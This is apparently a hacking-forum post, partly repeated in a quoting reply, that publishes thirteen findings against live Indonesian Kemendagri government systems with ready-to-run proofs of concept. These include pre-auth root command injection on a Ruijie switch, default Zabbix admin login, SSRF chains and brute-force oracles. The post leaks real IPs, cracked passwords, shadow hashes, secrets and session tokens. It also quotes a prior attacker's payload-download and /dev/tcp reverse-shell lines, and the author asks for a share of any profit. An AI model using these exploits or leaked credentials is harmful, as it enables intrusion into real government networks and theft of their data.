Posts: 98
Threads: 27
Joined: Oct 2025
15-10-26, 01:48 PM
(This post was last modified: 15-10-26, 02:08 PM by marlanwg.)
Kemendagri vulnerability
BPSDM Kemendagri / SID Kemendagri / Ruijie / MinIO / Nextcloud / MariaDB
13 findings — 4 CRITICAL, 5 HIGH, 2 MEDIUM, 2 LOW
FINDINGS SUMMARY- CRITICAL — Pre-auth root RCE on Ruijie NBS3100-24GT4SFP-P switch (10.10.15.4) via /cgi-bin/luci/api/auth checkNet
- CRITICAL — SSRF via server-side JavaScript (Zabbix webhook) → pivot to internal management plane
- CRITICAL — Zabbix host already compromised by another actor: global-script persistence + S3 C2
- CRITICAL — Default credentials / broken authentication on Zabbix 7.0.6
- HIGH — Unauthenticated MinIO Console SSRF to loopback-only S3 admin API + unlimited brute-force oracle
- HIGH — Unauthenticated SSRF in MinIO Console /api/v1/list-external-buckets (attacker-controlled targetURL)
- HIGH — Nextcloud 25.0.2 lacks brute-force protection on WebDAV basic auth (CVE-2023-32319)
- HIGH — Credential reuse → authenticated takeover of adjacent Ruijie devices
- HIGH — Adminer 4.8.1 exposed to the internet on shared SID origin (pre-auth PostgreSQL + SSRF)
- MEDIUM — Nextcloud username enumeration via public profile endpoint /u/<userId>
- MEDIUM — SID origin 103.245.225.58 accepts arbitrary Host headers (Cloudflare bypass)
- LOW — Repository/deployment files exposed under /home/ (CodeIgniter stack disclosure + default template credentials)
- LOW — MariaDB 10.11.18 pre-auth username enumeration (103.27.206.204:3306)
1. CRITICAL — Pre-auth root RCE on Ruijie NBS3100-24GT4SFP-P switch (10.10.15.4)
Endpoint:
POST /cgi-bin/luci/api/auth
— JSON-RPC method
, parameter
Device: Ruijie NBS3100-24GT4SFP-P, ReyeeOS 1.72.2130
Impact: Root shell, /etc/shadow, MQTT cloud secret, network configuration, credential reuse
The internal Ruijie NBS3100-24GT4SFP-P managed switch (10.10.15.4, ReyeeOS 1.72.2130) is vulnerable to pre-authentication command injection in the
method at the
endpoint. The
value is interpolated into a shell command. Command substitution is honored (
and backticks), while
and
are neutralized because the value is placed inside quotes. Command output is written to the LuCI webroot (/www) and then read back over HTTP, resulting in a root shell
, the complete contents of /etc/shadow (MD5-crypt hashes for root and admin), the device's cloud/MQTT secret, and network configuration. The recovered admin hash was cracked to NOCbpsdm123 — a credential belonging to a leaked AI agent, confirming credential reuse. The vulnerability was exploited end-to-end through the Zabbix webhook SSRF (finding 361) from the Zabbix server. Two sibling switches, 192.168.7.3 (ReyeeOS 2.390.2.1929) and 10.10.11.3 (ReyeeOS 2.390.1.1823), have already been patched (host validation returned: "host illegal").
PoC:
Show Content
Spoiler
Via Zabbix SSRF (finding 361). Dose-response timing proves that command substitution is executed:
POST http://10.10.15.4/cgi-bin/luci/api/auth
{"jsonrpc":"2.0","method":"checkNet","params":{"host":"$(sleep N)"},"id":1}
N=2 -> 3.14s ; N=4 -> 5.03s ; N=6 -> 7.21s ; N=8 -> 9.72s
(baseline ~1.1s; linear delay)
Output exfiltration (write command output to the webroot, then read it back over HTTP):
POST host = "$({ id; } > /www/.zz1.txt 2>&1)"
GET http://10.10.15.4/.zz1.txt
=> uid=0(root) gid=0(root) groups=0(root)
POST host = "$({ cat /etc/shadow; } > /www/.zz2.txt 2>&1)"
GET /www/.zz2.txt
=> root:$1$hwy/6l9D$crTRQYoCUDjDHjqMvbIx41:0:0:99999:7:::
admin:$1$d2aWMOCW$.HoDg2wqcNKjZCXdx64WF.:20102:0:0:99999:7:::
openssl passwd -1 -salt d2aWMOCW NOCbpsdm123
=> $1$d2aWMOCW$.HoDg2wqcNKjZCXdx64WF. (ADMIN PASSWORD = NOCbpsdm123)
cat /etc/config/sysinfo
=> model 'NBS3100-24GT4SFP-P',
software_version 'ReyeeOS 1.72.2130;SWITCH_3.0(1)B11P72'
cat /etc/config/mqtt
=> appid 'ea752413f7bbf397',
secret '5ef64dadaf17deffc06db9a170ccf50d'
Patched sibling switches:
POST host "$(sleep 4)" to 192.168.7.3 / 10.10.11.3
=> 200 {"msg":"host illegal"} in ~1.9s (no delay)
2. CRITICAL — SSRF via server-side JavaScript (Zabbix webhook) → pivot to internal management plane
Endpoint: Zabbix global webhook script (type=5) via
Impact: Server-side SSRF to FortiGate, Ruijie switches, loopback, and the internet
With the default Super Admin API session Admin/zabbix, a Zabbix global webhook script (type=5) executes server-side JavaScript ON the Zabbix server, and its return value is passed back through
without an error. Using the available
object, full SSRF was confirmed: the Zabbix server can reach the internal FortiGate admin/SSL-VPN portal ( https://172.16.20.1 → HTTP 200 login page), three internal Ruijie switches ( http://192.168.7.3, http://10.10.15.4, http://10.10.11.3 → HTTP 200 RGOS web UI redirecting to /cgi-bin/luci/), the loopback Zabbix frontend ( http://127.0.0.1:8080 → 200, len 3944), and the external internet ( https://example.com → 200; C2 host pct-wp.s3.amazonaws.com → 403). A POST to the FortiGate login endpoint /logincheck produces a working authentication oracle (first response character: 0 = login failed, 2 = lockout); the leaked credentials admin/nocbpsdm and admin/NOCbpsdm123 failed, and the admin account was locked out. The attacker-planted webhook script (script 582, mt7wh_31518) is precisely a server-side SSRF probe targeting the MikroTik RouterOS API. This converts the default-credential Zabbix compromise into verified server-side reachability to the internal network management plane. Note: the JS object
is undefined, so raw TCP targets (MikroTik RouterOS binary API 8728) can only be probed over HTTP, which times out.
PoC:
Show Content
Spoiler
Login:
POST /api_jsonrpc.php user.login {"username":"Admin","password":"zabbix"} -> token
Execution:
script.execute {"scriptid":"582","hostid":10650}
-> {"response":"success","value":"Socket=undefined | HttpRequest=function |
methods=addHeader,...,get,post,... | local status=200 len=3944 |
8728getERR=Error: cannot get URL: Timeout was reached."}
Webhook script itself via script.create(type=5), then script.execute:
-> "https://172.16.20.1/ => 200 len=79 ::
<html> <script language=javascript>
top.location=\"/login\"; </script> </html>"
-> "http://192.168.7.3/ => 200 len=1368 ::
... window.location.href = './error.html?fromindex' ...
/cgi-bin/luci/"
FortiGate authentication oracle:
POST https://172.16.20.1/logincheck
body="ajax=1&username=admin&secretkey=nocbpsdm"
-> "http=200 resp=0"
"admin/bpsdmkemendagri => http=200 resp=2" (lockout)
3. CRITICAL — Compromised host: malicious global-script persistence + C2
Host: Zabbix server at http://43.229.20.137:8080
Impact: Malware distribution, internal pivoting, active C2 (S3 + payload downloader)
The Zabbix monitoring server behind http://43.229.20.137:8080 has already been weaponized by a previous actor: global scripts were planted to deliver bash reverse-shell/stagers with S3-based C2 (pct-wp.s3.amazonaws.com, c2w-dev-app-vcf.s3.amazonaws.com) and an external payload downloader (
from 80.87.206.86 / 85.137.54.178). Accessible using the same default Super Admin credentials (Admin/zabbix), this server is being used as a malware distribution/internal pivot point; the stager script "MyScripttest" is recreated approximately every four hours, indicating active automation.
PoC:
Show Content
Spoiler
script.get -> 896 "s63882":
"(wget ... http://80.87.206.86:18081/319418 || curl ...) &&
chmod 755 /tmp/.zb && /tmp/.zb app-zabbix"
MyScripttest base64:
"bash -c 'exec 3<>/dev/tcp/pct-wp.s3.amazonaws.com/80 ... | bash'"
4. CRITICAL — Default Credentials / Broken Authentication (Zabbix 7.0.6)
Endpoint: http://43.229.20.137:8080/api_jsonrpc.php
Host: zabbix.bpsdmkemendagri.id (BPSDM Kemendagri)
Impact: Super Admin API session, internal host enumeration, script execution on monitored hosts
The Zabbix 7.0.6 monitoring frontend at http://43.229.20.137:8080 (zabbix.bpsdmkemendagri.id, BPSDM Kemendagri) accepts the vendor's default credentials Admin/zabbix, granting a Super Admin API session. This session can enumerate monitored internal hosts (FortiGate firewall, Ruijie switches, routers) and enables full control of the monitoring server (script execution on monitored hosts, configuration changes), creating critical exposure of the internal network management plane.
PoC:
Show Content
Spoiler
Login:
curl -s -X POST "http://43.229.20.137:8080/api_jsonrpc.php" \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"Admin","password":"zabbix"},"id":1}'
-> {"jsonrpc":"2.0","result":"1cf693230cb81a8aeb21dd41d0f7d0f2","id":1}
Super Admin confirmation (roleid 3 = Super admin role) and internal hosts:
curl -s -X POST .../api_jsonrpc.php -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username","roleid"]},"auth":"1cf693230cb81a8aeb21dd41d0f7d0f2","id":1}'
-> {"jsonrpc":"2.0","result":[
{"userid":"1","username":"Admin","name":"Zabbix","roleid":"3"},
{"userid":"3","username":"eos123","roleid":"3"}],"id":1}
curl -s -X POST .../api_jsonrpc.php \
-d '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host","name"]},"auth":"1cf693230cb81a8aeb21dd41d0f7d0f2","id":1}'
-> {"jsonrpc":"2.0","result":[
{"hostid":"10667","host":"172.16.20.1","name":"FORTIGATE BPSDM"},
{"hostid":"10654","host":"10.10.16.2","name":"SW-Ruijie-Rack Server"},
{"hostid":"10652","host":"202.150.133.29","name":"Router Comnet at BPSDM"}]}
5. HIGH — Unauthenticated MinIO Console SSRF to loopback-only S3 admin API
Endpoint: https://103.245.225.197 — POST /api/v1/list-external-buckets
Impact: Internal account enumeration, unlimited brute-force oracle, arbitrary-path GET proxy to loopback MinIO
Unauthenticated SSRF in the internet-exposed MinIO Console at https://103.245.225.197 (POST /api/v1/list-external-buckets, which causes the server to fetch http://<targetURL>/minio/admin/v3/accountinfo) can be weaponized from a port-scanning oracle into a real credential primitive: because the endpoint signs the request using SigV4 with the attacker-supplied accessKey/secretKey before sending it to the loopback MinIO server (127.0.0.1:9000, not externally exposed), the server response distinguishes existing access keys from nonexistent ones and validates guessed secrets. This confirms that the access key "admin" EXISTS on the loopback object-storage admin account, giving an unauthenticated internet attacker: (1) internal account enumeration, (2) an unlimited online password-guessing oracle with no rate limit against the internal object-storage root account, and (3) through a second unauthenticated endpoint (GET /api/v1/download-shared-object/<base64url>, with the host locked to 127.0.0.1:9000 but the path fully attacker-controlled), an arbitrary-path request proxy to the loopback-only MinIO server. A list of 60,001 candidate passwords (rockyou entries of at least eight characters + 10k common passwords) did not recover the secret, and the loopback host exposes no other services (only 22/80/443/9000/9001 open), so object-data disclosure or admin takeover was NOT achieved. The confirmed impact is a network-boundary bypass, disclosure of a valid internal admin account name, and an unlimited brute-force oracle against an internal-only service.
PoC:
Show Content
Spoiler
1) Valid access-key disclosure (unauthenticated, no cookie):
curl -sk -X POST https://103.245.225.197/api/v1/list-external-buckets \
-H 'Content-Type: application/json' \
-d '{"accessKey":"admin","secretKey":"aaaaaaaa","targetURL":"127.0.0.1:9000","useTLS":false}'
-> {"detailedMessage":"The request signature we calculated does not match the
signature you provided. Check your key and signing method."}
(access key "admin" EXISTS)
curl ... -d '{"accessKey":"minioadmin","secretKey":"aaaaaaaa","targetURL":"127.0.0.1:9000","useTLS":false}'
-> {"detailedMessage":"The Access Key Id you provided does not exist in our records."}
(KEY DOES NOT EXIST -> clear existence oracle)
2) Second unauthenticated endpoint = arbitrary-path GET proxy to loopback MinIO:
curl -sk "https://103.245.225.197/api/v1/download-shared-object/$(python3 -c "import base64;print(base64.urlsafe_b64encode(b'http://127.0.0.1:9000/minio/health/live').decode().rstrip('='))")"
-> 200 (empty body)
path "/" -> 403
path "/minio/admin/v3/accountinfo" -> 403
path "/minio/v2/metrics/cluster" -> 403
(all protected paths are reachable)
3) Confirmed internal reachability / absence of other loopback services:
127.0.0.1:9000 -> {"detailedMessage":"The Access Key Id you provided does not exist in our records."}
127.0.0.1:9001 -> "S3 API Requests must be made to API port."
127.0.0.1:80/443 -> nginx 404/400 page
all other scanned loopback ports are closed;
RFC1918/link-local targets (10/8,172.16-31/12,192.168/16,169.254.169.254)
time out (filtered).
4) Unlimited brute force (no rate limiting):
60,001 candidate secrets for accessKey "admin"
(Seclists/rockyou entries >=8 characters + 10k most common)
all returned "signature does not match" or
"secretKey ... at least 8 chars long", with no 429/lockout;
no valid secret was recovered.
6. HIGH — Unauthenticated SSRF in MinIO Console /api/v1/list-external-buckets
Endpoint: https://103.245.225.197 — POST /api/v1/list-external-buckets (attacker-controlled targetURL)
Impact: Network-boundary bypass, internal port scanning, access to loopback services
The internet-exposed MinIO Console at https://103.245.225.197 exposes POST /api/v1/list-external-buckets without authentication. The endpoint accepts attacker-supplied S3 credentials and targetURL (host:port), then makes a server-side request to http(s)://<targetURL>/minio/admin/v3/accountinfo, returning the fetched response (or an error containing the upstream body) to the caller. Without a session or cookie, an attacker can force the server to send requests to arbitrary hosts and ports: it reaches loopback-only services (the nginx 404 page from 127.0.0.1:80 is reflected verbatim, as are responses from the MinIO server API at 127.0.0.1:9000 and the console backend at 127.0.0.1:9001), confirms external egress (the example.com HTML is reflected), and behaves as a port scanner (connection refused/reset/timeout versus open). The MinIO server API at 127.0.0.1:9000 is NOT exposed through the nginx frontend, making this a genuine network-boundary bypass combined with a missing-authorization flaw in an administrative feature.
PoC:
Show Content
Spoiler
Unauthenticated SSRF (no cookie); targetURL controls the host:port, and the response body is reflected in the error:
curl -sk -X POST https://103.245.225.197/api/v1/list-external-buckets \
-H "Content-Type: application/json" \
--data '{"accessKey":"aaaa","secretKey":"bbbbbbbb","targetURL":"127.0.0.1","useTLS":false}'
-> {"detailedMessage":"Failed to parse server response (invalid character '<'
looking for beginning of value): <html>\r\n<head><title>404 Not Found
</title></head>...\n<hr><center>nginx/1.18.0 (Ubuntu)</center>...",
"message":"an error occurred, please try again"}
External egress:
targetURL":"example.com:80"
-> response body contains "<title>Example Domain</title>".
Internal-only service reachability + port scanning:
targetURL":"127.0.0.1:9000"
-> {"detailedMessage":"The Access Key Id you provided does not exist in our records.",...}
(MinIO server, not exposed to the internet)
targetURL":"127.0.0.1:9001"
-> {"detailedMessage":"S3 API Requests must be made to API port.",...}
(console backend)
targetURL":"127.0.0.1:3000"
-> dial tcp 127.0.0.1:3000: connect: connection refused
A fake cookie ("Cookie: token=garbage") does not affect the result,
confirming that the handler performs no session check.
7. HIGH — Nextcloud 25.0.2: no brute-force protection on WebDAV basic auth (CVE-2023-32319)
Host: cloud-adwil.kemendagri.go.id
Version: Nextcloud 25.0.2 (end-of-life)
Impact: Unlimited online password guessing, potential account takeover
The end-of-life Nextcloud 25.0.2 instance at cloud-adwil.kemendagri.go.id does not rate-limit failed WebDAV basic-auth requests: 105 consecutive incorrect password attempts using the non-email username "brute_test_acct" all returned HTTP 401 without 429/Retry-After, and the account/IP remained unblocked afterward. The sibling instances drive-dwp (30.0.6) and drive-pkk (30.0.2) return HTTP 429 for the same requests, demonstrating that the protection exists but is missing on this host. This matches CVE-2023-32319 ("Missing brute-force protection on the WebDAV endpoints via the basic auth header ... when the supplied username is not an email address", fixed in 25.0.5/26.0.0); CVE-2023-32320 (limit bypass via parallel requests, fixed in 25.0.7) also applies to the same host. Impact: an unauthenticated attacker can perform unlimited online password guessing against Nextcloud accounts, including admin accounts, potentially enabling account takeover and access to synchronized files. Common password lists and approximately 165 curated words were rejected for admin/administrator/nextcloud/root/etc., so no credentials were actually cracked, but attempts are not rate-limited.
PoC:
Show Content
Spoiler
cloud-adwil:
for i in $(seq 1 60); do
curl -s -k -m 10 -o /dev/null -w "%{http_code}\n" \
-u brute_test_acct:pw$i https://cloud-adwil.kemendagri.go.id/remote.php/webdav/
done | sort | uniq -c
-> 60 401
Follow-up single request after a total of 105 failures -> http=401 (no 429)
Sibling controls, same loop:
drive-dwp.kemendagri.go.id -> all 429
drive-pkk.kemendagri.go.id -> all 429
OCS on drive-dwp:
<statuscode>429</statuscode><message>Reached maximum delay</message>
8. HIGH — Credential Reuse: authenticated takeover of adjacent network devices
Source: Root shell on switch 10.10.15.4 (finding 1)
Credentials: NOCbpsdm123 (cracked from /etc/shadow, also stored as an SNMP read-write community)
Targets: 10.10.15.8, 10.10.15.9, 192.168.7.3, 10.10.11.3
The root shell on the pre-auth-RCE switch 10.10.15.4 (finding 382) revealed the device admin password NOCbpsdm123 (cracked from /etc/shadow and also stored as an SNMP read-write community). Using the switch's embedded Linux shell as a jump host, the same password yielded valid authenticated administrator sessions on four adjacent Ruijie devices on the internal management network: 10.10.15.8, 10.10.15.9, 192.168.7.3, and 10.10.11.3. The latter two had previously been assessed as patched against RCE but remain fully susceptible to takeover through credential reuse. Ruijie eweb login encrypts passwords using a per-device Gibberish-AES key scraped from each device's own login page, so reuse is not prevented by any per-device secret. Every successful login returned a live session (sid + token) and device serial number, demonstrating administrative control over the management plane.
PoC:
Show Content
Spoiler
From the already-compromised switch (10.10.15.4), via curl, after scraping each device's AES key from its login page:
echo -n NOCbpsdm123 | openssl enc -aes-256-cbc -md md5 -salt \
-pass pass:<per-device-key> -base64 -A
curl -sk -X POST https://<host>/cgi-bin/luci/api/auth \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"login","params":{"username":"admin","time":"<ts>","encry":true,"pwd":"<AES>","isCheckReadAgreement":"true"},"id":1}'
10.10.15.8 (key 3558b17272ef3250afec79f4612797a6)
-> {"code":0,"data":{"token":"caf4a568be23207bbae430c9c79cd594",
"sn":"G1T91ZY00774C","sid":"3b72551da9292e1b8eb0748adcf6217c"}}
10.10.15.9 (key c736aa00e119b63be33758fc9ec63f7f)
-> {"code":0,"data":{"token":"56c4be98a218c8cc15f1d0946e506c0c",
"sn":"G1T91SF00453B","sid":"11d3db7cd575226f37eb4bd1fd740672"}}
192.168.7.3 (key 848e1a3359a80430b1d40b70a9b96f6e)
-> {"code":0,"data":{"token":"a2720851bf653fb16d5ec1ec71147a56",
"sn":"G1T91ZY00772B","sid":"0dea67dea613a08770009c8fa7187684"}}
10.10.11.3 (key 18bc01bab369945fad3bbaac55e98b49)
-> {"code":0,"data":{"token":"c99eae854c056643f1174088a9193381",
"sn":"G1T91ZY006582","sid":"0a1c41497bb4a9330089a96f98ad3637"}}
9. HIGH — Adminer 4.8.1 exposed to the internet on shared SID origin (pre-auth PostgreSQL + SSRF)
Origin: 103.245.225.58 — /admin/ (all Host headers)
Impact: Pre-auth access to local PostgreSQL, SSRF to unprivileged ports
The shared SID origin 103.245.225.58 serves an Adminer 4.8.1 database management interface at /admin/ for EVERY Host header (all ~150 <kabupaten>.sipd.kemendagri.go.id names and even random ones), without IP restrictions. Although PHP lacks MySQL extensions, Adminer's PostgreSQL driver works and reaches the LOCAL PostgreSQL server (Unix-socket peer authentication, with the PHP process running as OS user "apache"), which is otherwise not exposed, and its Elasticsearch driver provides a pre-auth SSRF primitive to unprivileged ports. This turns an unauthenticated public web path into an entry point to the application database tier.
PoC:
Show Content
Spoiler
Recon/bypass:
curl -sk --resolve bandung.sipd.kemendagri.go.id:443:103.245.225.58 \
https://bandung.sipd.kemendagri.go.id/admin/ | grep -o 'Adminer [0-9.]*'
-> "Adminer 4.8.1"
(HTTP 200, served for arbitrary Host headers such as randomxyz123.sipd.kemendagri.go.id)
MySQL unavailable:
POST auth[driver]=server&auth[username]=root&auth[password]=
-> "None of the supported PHP extensions (MySQLi, MySQL, PDO_MySQL) are available."
Local PostgreSQL reachable (TCP):
POST auth[driver]=pgsql&auth[server]=localhost:5432&auth[username]=x
-> "Unable to connect to PostgreSQL server: FATAL: Ident authentication failed for user \"x\"."
Local PostgreSQL reachable (socket/peer) + PHP OS user:
POST auth[driver]=pgsql&auth[server]=/var/run/postgresql/ with an empty username
-> "FATAL: role \"apache\" does not exist" (=> PHP-FPM user is apache)
with username=www-data -> "FATAL: Peer authentication failed for user \"www-data\""
SSRF primitive:
POST auth[driver]=elastic&auth[server]=127.0.0.1:80
-> "Connecting to privileged ports is not allowed."
targeting 103.245.225.215:3306 -> request hangs for ~25s (outbound connection is attempted)
Ports <1024 are blocked; ports >=1024 are allowed.
Port exposure:
nmap -Pn 103.245.225.58 => only 80/tcp and 443/tcp are open
(PostgreSQL 5432 is NOT exposed to the internet => Adminer is the only route to it)
Caveat: completing peer-auth login (role "apache") is blocked by
Adminer IP/session brute-force lockout ("Too many unsuccessful logins,
try again in 28 minutes"), which persists across new cookie jars
and spoofed X-Forwarded-For; database authentication was not obtained.
10. MEDIUM — Nextcloud username enumeration via public profile endpoint /u/<userId>
Host: cloud-adwil.kemendagri.go.id
Impact: Disclosure of valid account lists, department/organizational structure
The Nextcloud 25.0.2 EOL instance at cloud-adwil.kemendagri.go.id exposes an unauthenticated username-enumeration oracle: GET /u/<userId> returns a public profile page (HTTP 200, embedding the base64-encoded core-profileParameters initial state with userId/displayname) for VALID accounts, but falls back to the login page for nonexistent accounts. Without any credentials, the valid accounts 'admin', 'backup', and 'keuangan' were confirmed (with display names 'admin', 'Data Bagian Perencanaan', and 'Bagian Keuangan'), revealing department/organizational structure and providing an accurate unauthenticated list of valid accounts for targeted password guessing (non-email usernames ignored by this host's CVE-2023-32319 throttling path). This is a real, verified information-disclosure weakness; it does not independently grant access.
PoC:
Show Content
Spoiler
curl -sk https://cloud-adwil.kemendagri.go.id/u/admin
-> HTTP 200, len=15532, body contains initial-state-core-profileParameters
which base64-decodes to {"userId":"admin","displayname":"admin",...}
curl -sk https://cloud-adwil.kemendagri.go.id/u/nonexistentzzz
-> login page, len=14800 (login body)
The same oracle confirms /u/backup (displayname 'Data Bagian Perencanaan')
and /u/keuangan (displayname 'Bagian Keuangan').
Reproduction:
for u in admin backup keuangan nonexistentzzz; do
curl -sk -o body -w "%{http_code} %{size_download} $u\n" \
https://cloud-adwil.kemendagri.go.id/u/$u
grep -o 'core-profileParameters' body
done
11. MEDIUM — SID origin 103.245.225.58 accepts arbitrary Host headers (Cloudflare bypass)
Origin: 103.245.225.58
Impact: CDN/WAF bypass, direct access to the entire ~150-host cluster
The shared SID Laravel application is served directly from origin 103.245.225.58 and derives the tenant/region from the FIRST LABEL of the HTTP Host header, ignoring the rest of the hostname: any hostname whose first label is a recognized region ('sipd', or a regency such as 'bandung') receives HTTP 200 even when the remainder is attacker-controlled (e.g. Host: sipd.kemendagri.go.id.evil.com -> 200/20836B; Host: bandung.sipd.kemendagri.go.id.attacker.net -> 200/21160B). The public FQDN sipd.kemendagri.go.id returns 403 through Cloudflare, so the origin provides a direct CDN/WAF bypass to the entire ~150-host cluster. The homepage also leaks an internal IP through console.log("172.24.4.36"). Separately, note that the login boundary itself could not be exploited: the JS-built login route POST /pusat/main/<apel>/login returns 404 on this origin, and the only actual action route /{seg}/main returns a constant 500, so no SQLi/auth-bypass evidence was obtained there.
PoC:
Show Content
Spoiler
$ for h in sipd.kemendagri.go.id.evil.com bandung.sipd.kemendagri.go.id.attacker.net test.sipd.kemendagri.go.id; do
curl -sk -o /dev/null -w "$h %{http_code} %{size_download}\n" \
https://103.245.225.58/ -H "Host: $h"
done
sipd.kemendagri.go.id.evil.com 200 20836
bandung.sipd.kemendagri.go.id.attacker.net 200 21160
test.sipd.kemendagri.go.id 404 10578
$ curl -sk -o /dev/null -w "%{http_code}\n" https://sipd.kemendagri.go.id/
403
(Cloudflare front end)
$ grep -o 'console.log' login.html
console.log("172.24.4.36")
12. LOW — Repository/deployment files exposed under /home/ (CodeIgniter stack + default template credentials disclosure)
Host: assessment.kemendagri.go.id
Impact: Stack disclosure, application provenance, default template credentials
The web root of assessment.kemendagri.go.id serves CodeIgniter application source-repository metadata files at /home/README.md (200), /home/composer.json (200), /home/CONTRIBUTING.md (200), and /home/.editorconfig (200). README.md contains the original template installation guide and discloses the framework (CodeIgniter 3 + SB Admin 2), the application's origin (the "Aplikasi Penjualan" POS template), and the template's DEFAULT LOGIN CREDENTIALS (admin: nugrohoff / pwd_nugroho, kasir: KSR58 / pwd_fakhrul). These defaults were tested against /home/login/proses_login and did NOT authenticate (both returned 303 -> /home/ with "Salah!"), but the disclosure still exposes the stack, application provenance, and credential material that could be reused in password-reuse attacks.
PoC:
Show Content
Spoiler
curl -s http://assessment.kemendagri.go.id/home/README.md
-> "# Aplikasi Penjualan With CodeIgniter 3 Framework & SB Admin 2 Template ...
username = `nugrohoff` and password `pwd_nugroho` ...
username = `KSR58` and password `pwd_fakhrul`"
curl -s http://assessment.kemendagri.go.id/home/composer.json
-> {"name":"codeigniter/framework", ... "dompdf/dompdf": "^0.8.4"}
Login test:
curl -s -i -X POST -d 'username=nugrohoff&password=pwd_nugroho&login=Login' \
http://assessment.kemendagri.go.id/home/login/proses_login
-> HTTP/1.1 303 See Other,
Location: http://assessment.kemendagri.go.id/home/ (login failed)
13. LOW — MariaDB 10.11.18 pre-auth username enumeration (103.27.206.204:3306)
Host: 103.27.206.204:3306
Version: MariaDB 10.11.18
Impact: Pre-authentication enumeration of valid database users
The internet-exposed MariaDB 10.11.18 service at 103.27.206.204:3306 discloses valid account names before authentication: failed logins for users that EXIST return error 1698 ("Access denied for user 'x'@ Host"), while nonexistent users return error 1045 ("... (using password: YES)"). This provides an unauthenticated remote oracle for enumerating valid database users, narrowing subsequent credential brute-force attempts. No valid password was found (1,152 common username/password pairs were rejected), but the account list was exposed.
PoC:
Show Content
Spoiler
python3 pymysql to 103.27.206.204:3306, incorrect password:
user=root errno=1698 msg=Access denied for user 'root'@'myip'
user=nosuchuserzzz errno=1045 msg=Access denied for user 'nosuchuserzzz'@'myip'
(using password: YES)
Enumerated EXISTING users:
root, admin, test, web, netadmin, guest, dba, phpmyadmin
(all return 1698)
If you get profit don't forget me. 4 CRITICAL, 5 HIGH, 2 MEDIUM, 2 LOW.
If this is useful, please just comment.
If this is useful please just comment
Reply
Reply
Reply
Reply
Reply
Posts: 98
Threads: 27
Joined: Oct 2025
(15-10-26, 01:48 PM)marlanwg Wrote: Kemendagri vulnerability
BPSDM Kemendagri / SID Kemendagri / Ruijie / MinIO / Nextcloud / MariaDB
13 findings — 4 CRITICAL, 5 HIGH, 2 MEDIUM, 2 LOW
FINDINGS SUMMARY- CRITICAL — Pre-auth root RCE on Ruijie NBS3100-24GT4SFP-P switch (10.10.15.4) via /cgi-bin/luci/api/auth checkNet
- CRITICAL — SSRF via server-side JavaScript (Zabbix webhook) → pivot to internal management plane
- CRITICAL — Zabbix host already compromised by another actor: global-script persistence + S3 C2
- CRITICAL — Default credentials / broken authentication on Zabbix 7.0.6
- HIGH — Unauthenticated MinIO Console SSRF to loopback-only S3 admin API + unlimited brute-force oracle
- HIGH — Unauthenticated SSRF in MinIO Console /api/v1/list-external-buckets (attacker-controlled targetURL)
- HIGH — Nextcloud 25.0.2 lacks brute-force protection on WebDAV basic auth (CVE-2023-32319)
- HIGH — Credential reuse → authenticated takeover of adjacent Ruijie devices
- HIGH — Adminer 4.8.1 exposed to the internet on shared SID origin (pre-auth PostgreSQL + SSRF)
- MEDIUM — Nextcloud username enumeration via public profile endpoint /u/<userId>
- MEDIUM — SID origin 103.245.225.58 accepts arbitrary Host headers (Cloudflare bypass)
- LOW — Repository/deployment files exposed under /home/ (CodeIgniter stack disclosure + default template credentials)
- LOW — MariaDB 10.11.18 pre-auth username enumeration (103.27.206.204:3306)
1. CRITICAL — Pre-auth root RCE on Ruijie NBS3100-24GT4SFP-P switch (10.10.15.4)
Endpoint:
POST /cgi-bin/luci/api/auth
— JSON-RPC method
, parameter
Device: Ruijie NBS3100-24GT4SFP-P, ReyeeOS 1.72.2130
Impact: Root shell, /etc/shadow, MQTT cloud secret, network configuration, credential reuse
The internal Ruijie NBS3100-24GT4SFP-P managed switch (10.10.15.4, ReyeeOS 1.72.2130) is vulnerable to pre-authentication command injection in the
method at the
endpoint. The
value is interpolated into a shell command. Command substitution is honored (
and backticks), while
and
are neutralized because the value is placed inside quotes. Command output is written to the LuCI webroot (/www) and then read back over HTTP, resulting in a root shell
, the complete contents of /etc/shadow (MD5-crypt hashes for root and admin), the device's cloud/MQTT secret, and network configuration. The recovered admin hash was cracked to NOCbpsdm123 — a credential belonging to a leaked AI agent, confirming credential reuse. The vulnerability was exploited end-to-end through the Zabbix webhook SSRF (finding 361) from the Zabbix server. Two sibling switches, 192.168.7.3 (ReyeeOS 2.390.2.1929) and 10.10.11.3 (ReyeeOS 2.390.1.1823), have already been patched (host validation returned: "host illegal").
PoC:
Show Content
Spoiler
Via Zabbix SSRF (finding 361). Dose-response timing proves that command substitution is executed:
POST http://10.10.15.4/cgi-bin/luci/api/auth
{"jsonrpc":"2.0","method":"checkNet","params":{"host":"$(sleep N)"},"id":1}
N=2 -> 3.14s ; N=4 -> 5.03s ; N=6 -> 7.21s ; N=8 -> 9.72s
(baseline ~1.1s; linear delay)
Output exfiltration (write command output to the webroot, then read it back over HTTP):
POST host = "$({ id; } > /www/.zz1.txt 2>&1)"
GET http://10.10.15.4/.zz1.txt
=> uid=0(root) gid=0(root) groups=0(root)
POST host = "$({ cat /etc/shadow; } > /www/.zz2.txt 2>&1)"
GET /www/.zz2.txt
=> root:$1$hwy/6l9D$crTRQYoCUDjDHjqMvbIx41:0:0:99999:7:::
admin:$1$d2aWMOCW$.HoDg2wqcNKjZCXdx64WF.:20102:0:0:99999:7:::
openssl passwd -1 -salt d2aWMOCW NOCbpsdm123
=> $1$d2aWMOCW$.HoDg2wqcNKjZCXdx64WF. (ADMIN PASSWORD = NOCbpsdm123)
cat /etc/config/sysinfo
=> model 'NBS3100-24GT4SFP-P',
software_version 'ReyeeOS 1.72.2130;SWITCH_3.0(1)B11P72'
cat /etc/config/mqtt
=> appid 'ea752413f7bbf397',
secret '5ef64dadaf17deffc06db9a170ccf50d'
Patched sibling switches:
POST host "$(sleep 4)" to 192.168.7.3 / 10.10.11.3
=> 200 {"msg":"host illegal"} in ~1.9s (no delay)
2. CRITICAL — SSRF via server-side JavaScript (Zabbix webhook) → pivot to internal management plane
Endpoint: Zabbix global webhook script (type=5) via
Impact: Server-side SSRF to FortiGate, Ruijie switches, loopback, and the internet
With the default Super Admin API session Admin/zabbix, a Zabbix global webhook script (type=5) executes server-side JavaScript ON the Zabbix server, and its return value is passed back through
without an error. Using the available
